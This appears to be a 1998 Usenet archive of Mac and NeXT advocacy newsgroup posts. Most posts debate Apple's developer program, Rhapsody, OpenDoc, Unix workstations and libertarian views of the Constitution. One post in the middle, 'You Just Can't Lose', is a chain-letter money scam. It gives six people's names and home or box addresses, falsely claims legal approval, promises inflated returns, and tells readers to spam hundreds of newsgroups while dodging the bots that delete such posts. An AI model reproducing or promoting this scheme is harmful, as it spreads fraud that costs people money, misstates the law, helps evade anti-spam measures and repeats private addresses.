> utility bills.
same as above
Yet these items are critical, so the developer forks out money
> to get them. If the pre-release software is critical, they can get it --
the
> same way they get any other item that's critical to their business: by
paying
> for it.
And Apple, under the old plan, was MAKING money on each developer. Big
difference. And, even under the old plan, consumers complained about
their not being enough software for the mac. Every day a current mac owner
would switch from the mac to a pc, because he/she/it wanted to run
quickbooks, but couldnt, or wanted to play diablo, and couldnt, wanted to
play quake 2 but couldnt. And dont say well let him play marathon and use
myob, because they arent interested.
No, what Apple did was not a humongous concern for developers, but it
defintely is a concern for those who want apple to do well.
>If it's not critical, or if the developer is only doing this as a
> hobby, then they can simply wait until the software is in general
release.
> What's so difficult about this?
>
> Would there be more software if all the developer tools were free? Of
course.
> I don't think anyone is disputing that. Would that be a wise way for
Apple to
> spend its resources? That's something we can't tell without access to a
whole
> lot more data on Apple's internal costs of running developer support
programs.
>
> I do hope that Apple will be able to come up with a program that gives
cheaper
> access to seeds. There certainly seems to be a demand for that. But let's
drop
> the moral outrage. MS charges for access to the beta W98; why shouldn't
Apple
> charge for access to RDR?
>
> Stefano Pagiola
> My opinions alone
> Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
> Rhapsody user
>
> -----== Posted via Deja News, The Leader in Internet Discussion ==-----
> http://www.dejanews.com/ Now offering spam-free web-based newsreading
>
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 19:37:03 GMT
Organization: P & L Systems
Message-ID: <6h328v$9sp$2@ironhorse.plsys.co.uk>
References: <trumbull-1404981049260001@net44-223.student.yale.edu> <B159695D-1AF11@207.217.155.17>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: brad@hutchings-software.com
In <B159695D-1AF11@207.217.155.17> "Brad Hutchings" wrote:
> I read Wil Shipley's little statement in Stepwise. I've gotta tell you,
> it's getting easier and easier lately to let my cyncical evil side take
> over my otherwise rational mind and hope that the NeXTies will get theirs
> dished back at them sometime in the coming year.
>
I simply fail to understand this sort of destructive attitude.
We are not, as I have said elsewhere, NeXTies, we are Rhapsody developers,
aiming to produce applications that will enrich the user experience on
Apple's new operating system and make it a viable proposition. Oh, and make
money too.
Are you for Apple or against it?
> Perhaps something as
> trivial as their existing NeXT apps not actually running on Rhapsody with a
> simple recompile would be enough... haha.
>
Little things...
> You NeXTies sure do stick together!!
>
ex-NeXTies.
I don't see what's wrong with sticking together; we've been through a lot
together, and formed a generally friendly, cooperative community. Mac people
have traditionally done the same. What's your point?
mmalc.
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 19:45:20 GMT
Organization: Digital Fix Development
Message-ID: <6h32og$4la$1@news.digifix.com>
References: <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17>
In-Reply-To: <B15999CB-D0FD2@207.217.155.17>
On 04/14/98, "Brad Hutchings" wrote:
>Scott Anguish wrote:
>
>> I agree with what Wil says in the article. The old program
>>was severely abused by those who wanted cheap hardware and nothing
>>more. By those who wanted cheap access to all the updates and
>>bleeding edge stuff, even though they didn't ever do any
development.
>
>You and Wil have absolutely no basis for making such a claim.
I have first hand witnessed this. The basis is there.
>If that
>happens to be the case, then shame on Apple for letting it happen.
See my
>other post.
>
And now Apple changes things to fix that and people bitch.
>> And RIGHT HERE, YOU INDICATE THAT YOU NEED TO ADJUST YOUR
>>ATTITUDE.
>
>That was my cynical, evil side getting out of hand. Laugh at it a
little
>;-).
>
>> There is no NeXTies anymore. There are Rhapsody developers.
>>Those of us who are actively developing on the platform (not waiting
>>for DR2 or CR1, or an installed base) are attempting to make things
>>right.
>
>You and Wil had no problem being NeXTies a year ago. Of everything
>great about the Mac, the two of you would say "OpenStep does that".
>Well, 16 months later, Rhapsody doesn't do that (compound documents,
>user components, OO graphics). You know what really sucks from my
>POV? Neither will the MacOS for much longer.
>
There are no OO graphics on the Mac. GX isn't OO. Its
OO-like perhaps.
We have classes on Rhapsody to do OO graphics NOW.
As far as compound documents go, virtually the entire
computing world has ignored it. You can't bludgeon the customer to
death with something that they simply don't want, and don't
understand.
>Just so you know, I gave OpenStep a chance. In fact, I spent about
>four times as long (about a month) with it giving it a chance as
>it took me to figure out that OpenDoc was the coolest thing I'd
>ever seen (about a week). I still don't see how OpenStep does
>user components or how it really makes my life writing a user
>component architecture from scratch any easier than anything else
>(say PowerPlant + Constructor, for example).
Then you really haven't looked very hard.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
Date: Wed, 15 Apr 1998 16:15:00 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-1504981615000001@wil73.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104> <6gjcv7$nrb@mozo.cc.purdue.edu> <ericb-1304982136060001@132.236.171.104> <6gutq8$79t$1@ha2.rdc1.sdca.home.com> <6gvqbt$hnq@shelob.afs.com> <6h0u82$44d$1@ha2.rdc1.sdca.home.com> <B159701C-344A1@207.217.155.17> <6h1946$e04$1@news.digifix.com> <B15999CB-D0FD2@207.217.155.17> <B159B91A-3498F@206.165.43.108> <joe.ragosta-1504980821190001@wil34.dol.net> <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>
In article <1d7jne9.1uedk531dkf3pqN@rhrz-isdn3-p13.rhrz.uni-bonn.de>,
schuerig@acm.org (Michael Schuerig) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > OpenDoc FAILED. Get it? Not enough people used it to justify its
> > existence. The cross-platform capabilities never appeared, at least partly
> > due to Apple's "partners".
> >
> > Most of what OpenDoc offered (cross-platform capabilities and modular
> > software) are already present in Rhapsody.
>
> Joe, that's bullshit and you ought to know it. OpenDoc failed regarding
> adoption by end users? Well, Apple failed to push it onto the market as
> soon as OpenDoc was in a state where this was possible. Any serious OD
> marketing? Come on, you're pulling my leg.
Regardless of the reason, OpenDoc failed. What's bullshit about that? Are
you arguing that OpenDoc was a _success_?
>
> And then there are people complaining Rhapsody/OpenStep never had been
> marketed and therefore it would not be fair to -- whatever. Now, I don't
> intend to stab Rhapsody in its back. Not at all. What I've dug into so
> far I like a lot. I'd like it even better if it provided OpenDoc-like
> support for a document-centric user experience.
I'm not sure what the value of this is. Very, very few people even knew
what to do with document-centric programming. For the vast majority, it
was just an app like all the rest. Even the majority of Brad Hutchings'
customers appear to use his shareware as a vendor-supplied app--not a new
programming paradigm.
But I've already admitted that Rhapsody doesn't seem to offer this in its
current form. Perhaps it will be added if enough people ask for it.
>
> Nevertheless, it's disingeneous to claim OpenDoc failed in the
> marketplace. For how long has it even been marketed to end users?
That's part of the point. IBM never finished their piece of it (yes, I'm
aware of their half-assed semi-complete demo). So OpenDoc, even after all
its years, never met the objectives of cross-platform development or
object oriented programming.
>
>
> An article on Stepwise,
> "Bundle up for a warm reception" by Don Yacktman, Aug 25, 1997 (see
> <http://www.stepwise.com/Articles/Technical/Bundles.html>), promises
> that
>
> <quote>
> ... an upcoming article will look at OpenDoc and its document-tools
> architecture in more detail, including a plan by which a technology
> resembling OpenDoc could be built relatively easily using OPENSTEP
> bundles as a foundation.
> </quote>
>
> Did I miss it?
Good. That strengthens my point. If people really want OpenDoc type
functionality, it can be added to Rhapsody. THAT was my point.
Why should Apple continue both OpenDoc and Yellow Box if their
capabilities overlap so much. Better to add features to Yellow Box so that
it offers the features you want--rather than supporting two separate sets
of APIs to do the job.
>
>
> BTW, are there numbers of how many people have been using it and how
> many people are using OpenStep or have been using OS half a year after
> its introduction?
Beats me.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: CatherineW@email.unc.edu
Subject: You Just Can't Lose
Newsgroups: comp.sys.next.advocacy
Organization: UNC
Message-ID: <35343ac4.0@193.15.242.210>
Date: 15 Apr 98 04:42:44 GMT
So, do you want to make money? If you have ONLY US$6 or a bit more(6
stamps), you can do it!!!
*******************************************************
PLEASE READ ON ABOUT HOW TO BE SUCCESSFUL
*******************************************************
1. IS THIS REALLY LEGAL??
I called a lawyer first. The lawyer was a little skeptical that I
would actually make any money but he said it WAS LEGAL if I wanted to
try it. I told him it sounded a lot like a chain letter but the
details of the system (SEE BELOW) actually made it a legitimate legal
business.
2. Would the Post Office be ok with this....I called them:
1-800-725-2161 and they confirmed THIS IS ABSOLUTELY LEGAL! (See Title
18,h sections1302 NS 1341 of Postal Lottery Laws). This clarifies the
program of collecting names and addresses for a mailing list.
3. Is this moral? Well, everyone who sends me a buck has a good
chance of getting A LOT of money ... a much better chance than buying
a lottery ticket!!!
============
HOW IT WORKS
============
Mail the 6 envelopes to the following addresses:
STEP 1:
Get 6 separate pieces of paper and write the following on each
piece of paper:
PLEASE ADD ME TO YOUR MAILING LIST.
$1 US DOLLAR PROCESSING FEE IN ENCLOSED.
(THIS IS KEY AS THIS IS WHAT MAKES IT LEGAL SINCE YOU ARE PAYING FOR
AND LATER OFFERING A SERVICE).
Now get 6 $1.00 bills and place ONE inside EACH of the 6 pieces of
paper so the bill will not be seen through the envelope to prevent
theft/robbery (Add one chemical paper for example;this will turn your
bill invisible and the letter still light).
Then, place one paper in each of the 6 envelopes and
seal them. You should now have 6 sealed envelopes, each with a piece
of paper stating the above phrase and a U.S. $1.00 bill.
#1 Ronald Stevens
20 Lordly court
Kings Park NY 11754
USA
#2 J. Turley
P.O. Box 50604
Knoxville, TN 37950-0604
USA
#3 K. Agler
109 Fraternity Ct.
Chapel Hill, NC 27516
USA
#4 R Sauter
3500 Crescent Ct
Flower Mound, TX 75028
USA
#5 Catherine Watkins
P.O. Box 67
Chapel Hill, NC 27514-0067
USA
#6 Ryan
1201 Holleybank Dr.
Matthews, NC 28105
USA
STEP 2:
Now take the #1 name off the list that you see above, move
the other names up (6 becomes 5, 5 becomes 4, etc...) and add YOUR Name
as number 6 on the list. (If you want to remain anonymous, put a
nickname, but the address MUST be correct. It, of course, MUST contain
your country, state/district/area, zip code, etc!!! You wouldn't want
your money to fly away, would you?!?!).
STEP 3:
Now post your amended article to at least 200 newsgroups.
Remember, 200 postings is just a guideline. The more you post, the more
money you make!
NOTE:
IN MANY NEWSGROUPS THERE ARE PEOPLE THAT DELETE THIS KIND OF MESSAGES
I RECOMEND YOU TO POST 1 OR EVEN 2 TIMES A WEEK TO 300 NEWSGROUPS SO OTHER
PEOPLE CAN SEE YOUR MESSAGES.THIS IS A WAY TO INCREASE THE
POSSIBILITIES
FOR YOU TO GET MORE MONEY!!
------------------------------------------------------------------------
The TOP 200 newsgroups can be found at --->
www.op.net/usenet-stats.html
*** BOTS ***
Bots are small computer programs on a usenet server.
1) Bots look for certain characters in the "Subject:" field of your
newsgroup posting.
2) Bots also look for "multiple postings".
3) If a Bot discovers any of the above, it will delete your posting.
4) Then send you a nasty e-mail.
***OUTSMART THE BOTS***
1) You will make a lot MORE money if you outsmart the BOTS.
2) Post your message only ONCE.
3) Do NOT use characters such as (! $ % + # & * @ ?) in the "Subject"
field.
------------------------------------------------------------------------
> ------------------------------------------------------------------------
> **REMEMBER, THE MORE NEWSGROUPS YOU POST IN, THE MORE MONEY YOU
> WILL MAKE!! BUT YOU HAVE TO POST A MINIMUM OF 200**
> That's it! You will begin receiving money from around the world within
> day's! You may eventually want to rent a P.O. Box due to the large
> amount of mail you receive. If you wish to stay anonymous, you can
> invent a name to use, as long as the postman will deliver it.
> **JUST MAKE SURE ALL THE ADDRESSES ARE CORRECT.**
>-------------------------------------------------------------------------
=================
Now the WHY part:
=================
Out of 200 postings, say I receive only 5 replies (a very low
example). So then I made $5.00 with my name at #6 on the letter. Now,
each of the 5 persons who just sent me $1.00 make the MINIMUM 200
postings, each with my name at #5 and only 5 persons respond to each of
the original 5, that is another $25.00 for me, now those 25 each make
200 MINIMUM posts with my name at #4 and only 5 replies each, I will
bring in an additional $125.00! Now, those 125 persons turn around and
post the MINIMUM 200 with my name at #3 and only receive 5 replies
each, I will make an additional $626.00! OK, now here is the fun part,
each of those 625 persons post a MINIMUM 200 letters with my name at
#2 and they each only receive 5 replies, that just made me $3,125.00!!!
Those 3,125 persons will all deliver this message to 200 newsgroups
with my name at #1 and if still 5 persons per 200 newsgroups react I will
receive $15,625,00! With a original investment of only $6.00! AMAZING!
And as I said 5 responses is actually VERY LOW! Average is probable 20 to 30!
So lets put those figures at just 15 responses per person. Here is
what you will make:
at #6 $15.00
at #5 $225.00
at #4 $3,375.00
at #3 $50,625.00
at #2 $759,375.00#1 $11,390,625.00
When your name is no longer on the list, you just take the latest
posting in the newsgroups, and send out another $6.00 to names on the
list, putting your name at number 6 again. And start posting again.
The thing to remember is, do you realize that thousands of people all over
the world are joining the internet and reading these articles everyday,
JUST LIKE YOU are now!! So can you afford $6.00 and see if it really
works?? I think so... People have said, "what if the plan is played out
and no one sends you the money? What are the chances of that
happening when there are tons of new honest users and new honest people
who are joining the internet and newsgroups everyday and are willing to
give it a try? Estimates are at 20,000 to 50,000 new users, every day,
with thousands of those joining the actual internet.
Remember, play FAIRLY and HONESTLY and this will work. You just have to
be honest.
** By the way, if you try to deceive people by posting the messages
with your name in the list and not sending the money to the rest of the
people already on the list, you will NOT get as much. Someone I talked
to knew someone who did that and she only made practically nothing, and that's
after seven or eight weeks! Then she sent the 6 $1.00 bills, people
added her to their lists, and in 4-5 weeks she had over $10k.
This is the fairest and most honest way I have ever seen to share the
wealth of the world without costing anything but our time!!! You also
may want to buy mailing and e-mail lists for future dollars.
Make sure you print this article out RIGHT NOW! Also, try to keep a
list of everyone that sends you money and always keep an eye on the
newsgroups to make sure everyone is playing fairly.
Remember, HONESTY IS THE BEST POLICY. You don't need to cheat the
basic idea to make the money!!
GOOD LUCK to all and please play fairly and reap the huge rewards
from this, which is tons of extra CASH.
Please remember to declare your extra income. Thanks once again...
________________________________________________________________________
--
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 20:24:13 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6h351d$cfh$1@new-news.cc.brandeis.edu>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com> <6h1r8v$os8$5@ns3.vrx.net>
In article <6h1r8v$os8$5@ns3.vrx.net> maury@remove_this.istar.ca (Maury Markowitz) writes:
>In <6h14er$hmh@newsb.netnews.att.com> gupta@kcopsrm.tm.tta.moc-mirror after @
>claimed:
>> Incidentally, it is a very similar dilemma that faces Apple
>> with Rhapsody, even though there may be several million users
>> ready-made.
>
> Speaking of, as one of this groups more neutral denziens, do you think
>Rhapsody has a chance of "pushing" into the Unix market as whole in any way?
>Unix is making a major comeback, but some of that seems to be directly
>related to it being free and not MS. Although Apple can get the later, can
>they get the former? Do you think it makes a difference? If a fully
>functional commercial Unix were to hit the market at a reasonable price
>point, can it make a dent?
>
>Maury
If you don't mind me offering my 2 cents, its not a question of whether
Rhapsody has a chance per se, but whether Apple pushes it in that
direction. Rhapsody is capable (especially with a Mach 3 microkernel with
SMP and real-time support), and PowerPC is pretty much the top notch
microprocessor today in non-SMP configurations, making for a killer combo.
Lets look at the competition:
SGI just announced today that part of their "recovery strategy" will be
to transition away from their proprietary (and not very fast) MIPS
architecture to Intel x86 and Merced. Merced is going to have significant
x86 architectural baggage around a VLIW core (a variant of RISC), and I
question the wisdom of SGI's direction - it sounds more like a way to
appease uneasy investors in a falling company.
HP is co-developing Merced, so they're going to adopt it to at least some
degree, supplanting their established PA-RISC architecture. They have a
relatively small market share in the workstation market and aren't much of
a force to contend with.
DEC had Alpha and Digital UNIX, but its future is in question with Alpha's
aquisition by Intel, and DEC's aquistion by Compaq. DEC is another
minority player.
Sun has the lionshare of the workstation market, yet their high-end
uniprocessor Sparc 10 systems are twice as much and not any faster than
Apple's G3 offerings similarly configured. Solaris is a contender, but is
in no way, shape, form, or manner an end-user OS. Solaris also runs on
x86 (seriously lacking drivers, though, making it much less hardware
compatible than even NT), so will run on Merced as well. In 1993 Sun
announced Solaris would be developed for PowerPC, but that never
materialized. In 1996 Sun and Apple signed a joint technology agreement,
and nothing has visibly come of that. NeXT and Sun worked closely
together on OPENSTEP, and there is reason to believe that this
relationship has at least carried over to some degree today within Apple.
IBM has AIX on PowerPC, and helped Apple develop their AIX based servers.
AIX is not a real UNIX contender though, relegated more to companies that
already have an investment in IBM infrastructure.
SGI arguably has the best X Window manager of the bunch, though it is
little more than a MacOS clone. PowerPC is almost the best processor,
currently missing any really-high end SMP offerings. (I'll readily preach
the near-brilliant engineering - plagiarized or otherwise - of the Pentium
RISC core, but in my opinion the x86 baggage surrounding that core is a
fundamental design flaw that is holding back the architecture as a
whole, especially with respect to price/performance, heat dissipation, die
size, and yield.)
Now Apple could quite concievably walk in less than a year from now with
Rhapsody running on Mach 3.0 doing SMP on a G4 and, with hardware similar
to their AIX servers, and the right marketing push and price-point, make
some headway into the workstation market. Their biggest hurdle would be
the UNIX IS establishment, vendor relationships, press reception, brand
respect in the workstation market, etc. From a technical standpoint,
assuming they don't botch the hardware and software they already have
going for them, they could have the premier workstation system in the low
to mid range volume market, but their success I think would have a lot to
do with how the marketplace perceives them and their product. And there
ain't nothing Apple can do to move that certain pecentage of really
entrenched workstation sites with their established and generally hard to
move IS culture. Of course, if Apple started donated to higher education
and getting Rhapsody into the CS/IS/IT curriculum, they could get some
long-range momentum going.
And I'm not even going to get into the FreeBSD/OpenBSD/NetBSD/BSDi/Linux
aspect to this whole equation.
However things pan out, nothing happens overnight in the UNIX workstation
market.
--
Nathan Raymond
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 16:25:21 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6h353h$thn$1@crib.bevc.blacksburg.va.us>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <6h1r8v$os8$5@ns3.vrx.net> <6h2os9$t1h$1@crib.bevc.blacksburg.va.us> <6h2ct8$88a$2@ns3.vrx.net>
In article <6h2ct8$88a$2@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <6h2os9$t1h$1@crib.bevc.blacksburg.va.us> Nathan Urban claimed:
> > Well.. I think that a large reason for the resurgence of Unix _is_
> > related to the free aspect
> Exactly why I asked. However even that is a bit of an issue...
> a) does free in this case mean "less than cheap"?
> b) does free in this case mean "that'll teach MS"?
I think that there's some (b) involved (or, more accurately, "this
is better than MS"), but given the choice of a free Unix and a cheap
Unix, I think people would still choose free unless cheap had some very
compelling advantages.
> I think that the definition in general use can have effects both ways for
> Rhapsody. For instance if it is indeed a (and I think in many cases it is)
> then Rhapsody will not offer a lot to these users. If it's b on the other
> hand, I think it could either offer a massive amount of support because it's
> a viable "first user" OS for most users, or it could be seen as "just another
> big gun, this time from laughable Apple".
I think the reasoning is usually along the lines of "We've got to use
Windows on our desktops because everything runs under it, but for our
in-house servers, Unix offers free and superior alternatives, so let's
use that -- even if we've got to figure out how to use Unix."
> > in-house mail servers, firewalls, etc. Now, Rhapsody will probably make
> > a decent server, but will it be good enough to offset the freeness of
> > the other Unixes?
> I think that as a Unix, no. In fact it appears very likely that Linux will
> have a few very definite advantages over Rhapsody at the later's point of
> release (but for instance, Free-BSD won't).
The only thing Rhapsody might have going for it is superior graphical
admin tools, if Apple can pull it off.
(Out of curiosity, what do you think Linux has going for it that FreeBSD
doesn't?)
> However I believe the ability to
> run real productivity apps and games offsets that side completely - OUTSIDE
> the server/web/etc. world.
Certainly -- but then you're directly up against Windows, and are no
longer competing in the areas where Unix is making most of its resurgence.
> Inside that world I don't see it having much of an effect - outside
> existing and possible MS marketplaces that is. I think just as there are IS
> shops that would reject anything Apple on it, there's likely a similar that
> would reject non-commercial OS's.
True.. but the places that would reject non-commercial OSes would
probably _also_ reject Apple OSes, IMHO.. unless Apple can gain a really
good reputation in the server area.
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 19:21:56 GMT
Organization: Cygnus Solutions
Message-ID: <6h31ck$sek$2@cronkite.cygnus.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104>
<trumbull-0704981900290001@net44-223.student.yale.edu> <xhsof-0804981448100001@hobbit1.injep.fr>
<6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu>
<6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
<6gloht$oop$16@ironhorse.plsys.co.uk> <1d7apla.113m8av1925s32N@dialup-202.def.oleane.com>
<6gq8bi$oop$20@ironhorse.plsys.co.uk> <1d7hiez.175fusloje5kyN@dialup-230.def.oleane.com>
<6h06pj$oop$45@ironhorse.plsys.co.uk> <1d7hyde.2aw64w1wrpcesN@dialup-143.def.oleane.com>
<6h21e2$oop$48@ironhorse.plsys.co.uk> <1d7j8l1.gg9jg81rj409hN@dialup-143.def.oleane.com>
<6h2tfn$b7b$1@nnrp1.dejanews.com>
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Cc: spagiola@usa.net
In <6h2tfn$b7b$1@nnrp1.dejanews.com> spagiola@usa.net wrote:
> bl003@dial.oleane.com (Benoit Leraillez) wrote:
> > mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> > > > I'd like to take a look at the fine print for this offer though.
> > > >
> > > For heaven's sake -- what fine print do you need?!
> >
> > I'll rephrase the sentence in two ways that only the fine print can
> > decide which is the correct one:
> > 1 "...Apple is reinforcing its commitment to education by offering...
> > for (academic and university-related) (administrative use)..."
> > 2 "...Apple is reinforcing its commitment to education by offering...
> > for academic and (university-related administrative use)..."
> > Now do you understand the need for fine print? I hope tha N°2 is what
> > Apple meant, but it's N°1 I understood.
>
> I think you're inventing difficulties for yourself. Read the announcement:
>
> : "...Apple is reinforcing its commitment to education by offering
> : WebObjects Enterprise Developer version (v3.5) and WebObjects
> : Enterprise Unlimited Deployment to educational customers (student,
> : staff, faculty) for academic and university-related administrative
> : use for $99..."
>
> See the part where it says "student"? Now, tell me: what conceivable
> administrative use would a student have for this product? Clearly, none.
> Clearly, reading 2 is wrong by any reasonable parsing of this statement.
>
You seem to be contradicting yourself here..
You say that a student wouldn't have a concievable administrative use.. yet
you choose to negate the parsing (#2) that makes it clear that the
"administrative use" phrase wasn't attached to students.
I think the problem is that the phrasing says "and", so we're all applying a
logical "AND" operation to the wording... when what the statement means is
logical "OR". If you're a valid educational customer (examples being
students, staff, faculty), and you have a valid use for the product (valid
uses including both academic and administrative work), you may purchase the
product for $99.
or,
"If you are an academic customer (student, faculty, staff), you may use this
product for acadmic and adminstrative uses when purchased for $99."
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: Michael Peck <ECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: Wed, 15 Apr 1998 15:54:24 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35351E80.1BB@CONVEX.COM>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35326121.287@CONVEX.COM> <slrn6j5uak.p5a.mbkennel@lyapunov.ucsd.edu> <35330A58.2BFC5C6E@nstar.net> <6h14td$jjr@newsb.netnews.att.com> <3534C6D2.62711BBC@nstar.net> <3534e321.0@206.25.228.5>
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John Kheit wrote:
>
> "Michael J. Peck" <mjpeck@nstar.net> wrote:
> > I suspect you invoked the Constitution out of a momentary lapse,
> > rather than as a fundamental part of your argument. From where
> > I stand, everything you have so far advocated stands in stark
> > opposition to Constitutionalism. Unless, of course, when you say
> > that "government 'meddling'...creat[ed] the property right of
> > intellectual property", you consider the Constitution itself to
> > be "government meddling". That would be strange, indeed, since
> > British Common Law establishes property rights, not "government
> > meddling" by any definition I've ever seen.
>
> > [chuckle]
>
> Wow, that seems a stretch. Last time I checked, constitutions were
> the product of a government body.
Check again. The United States Constitution was written by a Congress of
individuals who had no governmental authority whatsoever in the context
of that Congress. The Constitution was independently ratified by the
thirteen colonial States.
Which government body, exactly, is responsible for the United States
Constitution, John?
> Last time I checked, only Congress
> and the President in conjunction (barring a congressional override)
> can change the constitution.
More evidence that the Constitution limits the power of the government,
not the other way around. That's what you were trying to say, right?
> Only those branches of the *government*
> can and do amend the constitution.
They amend the Constitution according to the Constitution. The
Constitution cannot be self-modifying; unfortunately, it trades safety
for expediency in the amendment process and subjects itself all too much
to governmental whims. This is a flaw in the Constitution of the United
States.
> It's all government action.
> At a certain point, *pure* libertarianism starts to sound like
> anarchy.
I don't know what you mean by "*pure*" Libertarianism; it sounds like
you've extrapolated to extremes certain characterists which you hold to
be definitive. I doubt you really know what Libertarianism stands for.
> I don't believe *true* libertarianism abhors all government
> action. They want to keep it to an absolute minimum. That includes
> constitutions, changes to it, defense, and basic facilities to keep
> order.
Constitution is an inherently extra-government entity. The whole point
behind Constitutionalism is that it governs government and public
equally. If government is not subject to the dictates of the
Constitution, the Constitution is a sham and the government is a Divine
Right autocracy. Call it what you will, the authority of the government
is derived from somewhere; if a government which disregards the
Constitution is fundamentally a democracy, then democracy itself is a
statist political system. I think the United States of 1998 generally
reinforces that notion.
> I think there is such a reliance on government in
> libertarianism, though a minimalist one, and that is what keeps it
> from sliding down the slippery slope into anarchy.
You are missing the fundamental point, John. It's not like I haven't
said this before. What keeps libertarianism from slipping into anarchy
is *Law*, not *government*.
Let's take a moment and make sure we're all clear on this.
MJP
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 15 Apr 1998 20:45:34 GMT
Organization: P & L Systems
Message-ID: <6h369e$9sp$4@ironhorse.plsys.co.uk>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gvd4h$oop$37@ironhorse.plsys.co.uk>
<6h031a$msf$1@usenet85.supernews.com> <6h2204$oop$49@ironhorse.plsys.co.uk>
<6h2n6i$sip$1@usenet49.supernews.com>
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Cc: mcgredo@otter.mbay.net
In <6h2n6i$sip$1@usenet49.supernews.com> Donald R. McGregor wrote:
> In article <6h2204$oop$49@ironhorse.plsys.co.uk>,
> mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> >Umm, there's no port involved -- it Just Works.
>
> I still think you need to develop in the environment you deploy
> in. There's just too much to absorb with the finer points of
> UI--copying/paying homage to/swiping small things like leveraging
> off how the desktop does things. Plus if I'm going to do small,
> handy utilities, the classic market for part-time developers, you
> wouldn't have a real system around to find out where the holes are.
>
Umm, two objections:
(1) The main goal for most people at this stage is surely to learn the class
libraries etc, rather than the UI, in which case any implementation of
OPENSTEP should be fine;
(2) Surely there's no point in trying to find any holes at this stage, or to
absorb the finer points of the UI, since neither the feature set nor the UI
are finished products.
> >> Besides, there's no Java in OS.
> >>
> >Fair point -- though there is in WebObjects. I'd still actually argue you
to
> >use Obj-C rather than Java anyway, but chacun a son gout.
>
> I flip back and forth between the two. (If Java had categories I'd
> be a happy camper.) But, realisticly, if I do something in Java
> people around here would take it a lot more seriously than if I
> did it in Obj-C.
>
Interesting point -- I hope there's going to be an article on this subject on
Stepwise in the near future.
> It would be nice to have the DR2 release. As it is, I'll probably
> wait until sometime after the WDC before I decide if I want to
> have anything to do with Rhapsody. I suspect a lot of other people
> feel the same way. This is a lose for Apple, since their greatest
> barrier to acceptance for Rhapsody is software and programmers
> willing to code to it.
>
Umm, OK, but if you or others choose to hold back, and Apple lives up to its
promise of making YellowBox its API of the future and of bringing it to
MacOS, then I hope you're not going to feel bad about being left behind?
This touches on something I still can't quite understand; given Apple's
roadplan, and given that so many people in this debate seem to be screaming
for Rhapsody -- particularly in order to create this wonderful freeware, why
do so few people seem to be people seem to be contributing new software to
the public domain?
Best wishes,
mmalc.
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
Date: 15 Apr 1998 16:06:57 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6h2lv1$fbp$1@ns3.vrx.net>
References: <3533C875.52A9@convex.com> <6h14er$hmh@newsb.netnews.att.com>
<6h1r8v$os8$5@ns3.vrx.net> <6h351d$cfh$1@new-news.cc.brandeis.edu>
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Cc: xray@cs.brandeis.edu
In <6h351d$cfh$1@new-news.cc.brandeis.edu> Nathan G. Raymond claimed:
> Now Apple could quite concievably walk in less than a year from now with
